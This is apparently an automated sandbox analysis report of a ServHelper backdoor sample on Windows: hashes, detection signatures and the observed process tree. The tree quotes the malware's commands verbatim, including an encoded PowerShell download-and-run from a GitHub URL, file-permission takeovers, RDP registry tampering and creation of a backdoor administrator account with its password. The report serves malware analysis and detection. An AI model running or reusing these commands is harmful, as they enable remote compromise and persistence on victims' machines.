Analysis

  • max time kernel
    121s
  • max time network
    168s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-en-20220113
  • submitted
    22-02-2022 11:16

General

  • Target

    2355df7559b137125f35cc373a6fe4bd967b91fd207e705868f6d25a1e60003f.exe

  • Size

    4.2MB

  • MD5

    470602a8aa144556803374fb94a210aa

  • SHA1

    a04b54e71646fd4f70fec7a24b44932079755f5e

  • SHA256

    2355df7559b137125f35cc373a6fe4bd967b91fd207e705868f6d25a1e60003f

  • SHA512

    24020ea5d03d5b4527d24b7cc531729771e714e180d85fca8b1a8e01211f1e21fb339ffdcd6d04c1df8a1c2414fe281d86039be025ea92c72ffb3325cc1221eb

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

  • ServHelper

    ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Blocklisted process makes network request 10 IoCs
  • Executes dropped EXE 1 IoCs
  • Modifies RDP port number used by Windows 1 TTPs
  • Possible privilege escalation attempt 8 IoCs
  • Sets DLL path for service in the registry 2 TTPs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Loads dropped DLL 2 IoCs
  • Modifies file permissions 1 TTPs 8 IoCs
  • Drops file in System32 directory 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Program Files directory 4 IoCs
  • Drops file in Windows directory 24 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Script User-Agent 5 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 15 IoCs
  • Suspicious behavior: LoadsDriver 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 25 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2355df7559b137125f35cc373a6fe4bd967b91fd207e705868f6d25a1e60003f.exe
    "C:\Users\Admin\AppData\Local\Temp\2355df7559b137125f35cc373a6fe4bd967b91fd207e705868f6d25a1e60003f.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4896
    • C:\Users\Admin\AppData\Local\Temp\InstallUtil.exe
      C:\Users\Admin\AppData\Local\Temp\InstallUtil.exe
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:2124
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
        3⤵
        • Drops file in System32 directory
        • Drops file in Windows directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1684
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3148
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1856
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:932
        • C:\Windows\system32\takeown.exe
          "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
          4⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:4512
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
          4⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:3852
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
          4⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          • Suspicious use of AdjustPrivilegeToken
          PID:2232
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
          4⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:432
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
          4⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1768
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
          4⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:4132
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
          4⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:3872
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
          4⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:2744
        • C:\Windows\system32\reg.exe
          "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
          4⤵
            PID:4900
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
            4⤵
            • Modifies registry key
            PID:5056
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
            4⤵
              PID:460
            • C:\Windows\system32\net.exe
              "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:4732
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                5⤵
                  PID:4968
              • C:\Windows\system32\cmd.exe
                "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
                4⤵
                • Suspicious use of WriteProcessMemory
                PID:636
                • C:\Windows\system32\cmd.exe
                  cmd /c net start rdpdr
                  5⤵
                  • Suspicious use of WriteProcessMemory
                  PID:3572
                  • C:\Windows\system32\net.exe
                    net start rdpdr
                    6⤵
                    • Suspicious use of WriteProcessMemory
                    PID:4572
                    • C:\Windows\system32\net1.exe
                      C:\Windows\system32\net1 start rdpdr
                      7⤵
                        PID:2324
                • C:\Windows\system32\cmd.exe
                  "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:996
                  • C:\Windows\system32\cmd.exe
                    cmd /c net start TermService
                    5⤵
                    • Suspicious use of WriteProcessMemory
                    PID:3452
                    • C:\Windows\system32\net.exe
                      net start TermService
                      6⤵
                      • Suspicious use of WriteProcessMemory
                      PID:1900
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 start TermService
                        7⤵
                          PID:2724
                  • C:\Windows\system32\cmd.exe
                    "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
                    4⤵
                      PID:4072
                    • C:\Windows\system32\cmd.exe
                      "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
                      4⤵
                        PID:2228
                • C:\Windows\system32\svchost.exe
                  C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
                  1⤵
                  • Drops file in Windows directory
                  • Suspicious use of AdjustPrivilegeToken
                  PID:4452
                • C:\Windows\System32\svchost.exe
                  C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
                  1⤵
                  • Modifies data under HKEY_USERS
                  PID:1028
                • C:\Windows\System32\cmd.exe
                  cmd /C net.exe user WgaUtilAcc 000000 /del
                  1⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1628
                  • C:\Windows\system32\net.exe
                    net.exe user WgaUtilAcc 000000 /del
                    2⤵
                    • Suspicious use of WriteProcessMemory
                    PID:3264
                    • C:\Windows\system32\net1.exe
                      C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
                      3⤵
                        PID:2520
                  • C:\Windows\System32\cmd.exe
                    cmd /C net.exe user WgaUtilAcc m1hgOfxo /add
                    1⤵
                      PID:2516
                      • C:\Windows\system32\net.exe
                        net.exe user WgaUtilAcc m1hgOfxo /add
                        2⤵
                          PID:1356
                          • C:\Windows\system32\net1.exe
                            C:\Windows\system32\net1 user WgaUtilAcc m1hgOfxo /add
                            3⤵
                              PID:1132
                        • C:\Windows\System32\cmd.exe
                          cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                          1⤵
                            PID:2060
                            • C:\Windows\system32\net.exe
                              net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                              2⤵
                                PID:4108
                                • C:\Windows\system32\net1.exe
                                  C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                  3⤵
                                    PID:4816
                              • C:\Windows\System32\cmd.exe
                                cmd /C net.exe LOCALGROUP "Remote Desktop Users" JDQPXOPR$ /ADD
                                1⤵
                                  PID:1476
                                  • C:\Windows\system32\net.exe
                                    net.exe LOCALGROUP "Remote Desktop Users" JDQPXOPR$ /ADD
                                    2⤵
                                      PID:3936
                                      • C:\Windows\system32\net1.exe
                                        C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" JDQPXOPR$ /ADD
                                        3⤵
                                          PID:4020
                                    • C:\Windows\System32\cmd.exe
                                      cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                      1⤵
                                        PID:4748
                                        • C:\Windows\system32\net.exe
                                          net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                          2⤵
                                            PID:4468
                                            • C:\Windows\system32\net1.exe
                                              C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                              3⤵
                                                PID:3716
                                          • C:\Windows\System32\cmd.exe
                                            cmd /C net.exe user WgaUtilAcc m1hgOfxo
                                            1⤵
                                              PID:3828
                                              • C:\Windows\system32\net.exe
                                                net.exe user WgaUtilAcc m1hgOfxo
                                                2⤵
                                                  PID:2920
                                                  • C:\Windows\system32\net1.exe
                                                    C:\Windows\system32\net1 user WgaUtilAcc m1hgOfxo
                                                    3⤵
                                                      PID:3920
                                                • C:\Windows\System32\cmd.exe
                                                  cmd.exe /C wmic path win32_VideoController get name
                                                  1⤵
                                                    PID:2180
                                                    • C:\Windows\System32\Wbem\WMIC.exe
                                                      wmic path win32_VideoController get name
                                                      2⤵
                                                      • Suspicious use of AdjustPrivilegeToken
                                                      PID:4856
                                                  • C:\Windows\System32\cmd.exe
                                                    cmd.exe /C wmic CPU get NAME
                                                    1⤵
                                                      PID:4920
                                                      • C:\Windows\System32\Wbem\WMIC.exe
                                                        wmic CPU get NAME
                                                        2⤵
                                                        • Suspicious use of AdjustPrivilegeToken
                                                        PID:4872
                                                    • C:\Windows\System32\cmd.exe
                                                      cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                      1⤵
                                                        PID:3928
                                                        • C:\Windows\system32\cmd.exe
                                                          cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                          2⤵
                                                            PID:2772
                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                              powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                              3⤵
                                                              • Blocklisted process makes network request
                                                              • Drops file in Program Files directory
                                                              • Drops file in Windows directory
                                                              • Modifies data under HKEY_USERS
                                                              • Suspicious behavior: EnumeratesProcesses
                                                              • Suspicious use of AdjustPrivilegeToken
                                                              PID:3512

                                                        Network

                                                        MITRE ATT&CK Enterprise v6

                                                        Replay Monitor

                                                        Loading Replay Monitor...

                                                        Downloads

                                                        • memory/932-166-0x000001E743503000-0x000001E743505000-memory.dmp

                                                          Filesize

                                                          8KB

                                                        • memory/932-167-0x000001E743506000-0x000001E743508000-memory.dmp

                                                          Filesize

                                                          8KB

                                                        • memory/932-165-0x000001E743500000-0x000001E743502000-memory.dmp

                                                          Filesize

                                                          8KB

                                                        • memory/932-164-0x00007FF8198E3000-0x00007FF8198E5000-memory.dmp

                                                          Filesize

                                                          8KB

                                                        • memory/1028-149-0x00000152301C0000-0x00000152301C4000-memory.dmp

                                                          Filesize

                                                          16KB

                                                        • memory/1684-155-0x000002722F316000-0x000002722F318000-memory.dmp

                                                          Filesize

                                                          8KB

                                                        • memory/1684-156-0x000002722F318000-0x000002722F319000-memory.dmp

                                                          Filesize

                                                          4KB

                                                        • memory/1684-159-0x0000027248300000-0x000002724850A000-memory.dmp

                                                          Filesize

                                                          2.0MB

                                                        • memory/1684-150-0x00007FF8198E3000-0x00007FF8198E5000-memory.dmp

                                                          Filesize

                                                          8KB

                                                        • memory/1684-151-0x000002722F310000-0x000002722F312000-memory.dmp

                                                          Filesize

                                                          8KB

                                                        • memory/1684-152-0x000002722F313000-0x000002722F315000-memory.dmp

                                                          Filesize

                                                          8KB

                                                        • memory/1684-153-0x0000027247870000-0x0000027247892000-memory.dmp

                                                          Filesize

                                                          136KB

                                                        • memory/1684-158-0x0000027247F70000-0x00000272480E6000-memory.dmp

                                                          Filesize

                                                          1.5MB

                                                        • memory/2124-143-0x0000019B80513000-0x0000019B80515000-memory.dmp

                                                          Filesize

                                                          8KB

                                                        • memory/2124-136-0x0000000000400000-0x0000000000A6B000-memory.dmp

                                                          Filesize

                                                          6.4MB

                                                        • memory/2124-144-0x0000019B80515000-0x0000019B80516000-memory.dmp

                                                          Filesize

                                                          4KB

                                                        • memory/2124-141-0x00007FF8198E3000-0x00007FF8198E5000-memory.dmp

                                                          Filesize

                                                          8KB

                                                        • memory/2124-145-0x0000019B80516000-0x0000019B80517000-memory.dmp

                                                          Filesize

                                                          4KB

                                                        • memory/2124-138-0x0000000000400000-0x0000000000A6B000-memory.dmp

                                                          Filesize

                                                          6.4MB

                                                        • memory/2124-142-0x0000019B80510000-0x0000019B80512000-memory.dmp

                                                          Filesize

                                                          8KB

                                                        • memory/3148-162-0x0000022376E43000-0x0000022376E45000-memory.dmp

                                                          Filesize

                                                          8KB

                                                        • memory/3148-161-0x0000022376E40000-0x0000022376E42000-memory.dmp

                                                          Filesize

                                                          8KB

                                                        • memory/3148-163-0x0000022376E46000-0x0000022376E48000-memory.dmp

                                                          Filesize

                                                          8KB

                                                        • memory/3148-160-0x00007FF8198E3000-0x00007FF8198E5000-memory.dmp

                                                          Filesize

                                                          8KB

                                                        • memory/3512-171-0x00007FF8198E3000-0x00007FF8198E5000-memory.dmp

                                                          Filesize

                                                          8KB

                                                        • memory/3512-174-0x00000137D8DB6000-0x00000137D8DB8000-memory.dmp

                                                          Filesize

                                                          8KB

                                                        • memory/3512-173-0x00000137D8DB3000-0x00000137D8DB5000-memory.dmp

                                                          Filesize

                                                          8KB

                                                        • memory/3512-172-0x00000137D8DB0000-0x00000137D8DB2000-memory.dmp

                                                          Filesize

                                                          8KB

                                                        • memory/4452-140-0x0000010FC6420000-0x0000010FC6430000-memory.dmp

                                                          Filesize

                                                          64KB

                                                        • memory/4452-139-0x0000010FC5D70000-0x0000010FC5D80000-memory.dmp

                                                          Filesize

                                                          64KB

                                                        • memory/4452-146-0x0000010FC8AF0000-0x0000010FC8AF4000-memory.dmp

                                                          Filesize

                                                          16KB

                                                        • memory/4896-135-0x000000001DAA0000-0x000000001DAA2000-memory.dmp

                                                          Filesize

                                                          8KB

                                                        • memory/4896-133-0x0000000000D80000-0x00000000011B6000-memory.dmp

                                                          Filesize

                                                          4.2MB

                                                        • memory/4896-134-0x00007FF819DD3000-0x00007FF819DD5000-memory.dmp

                                                          Filesize

                                                          8KB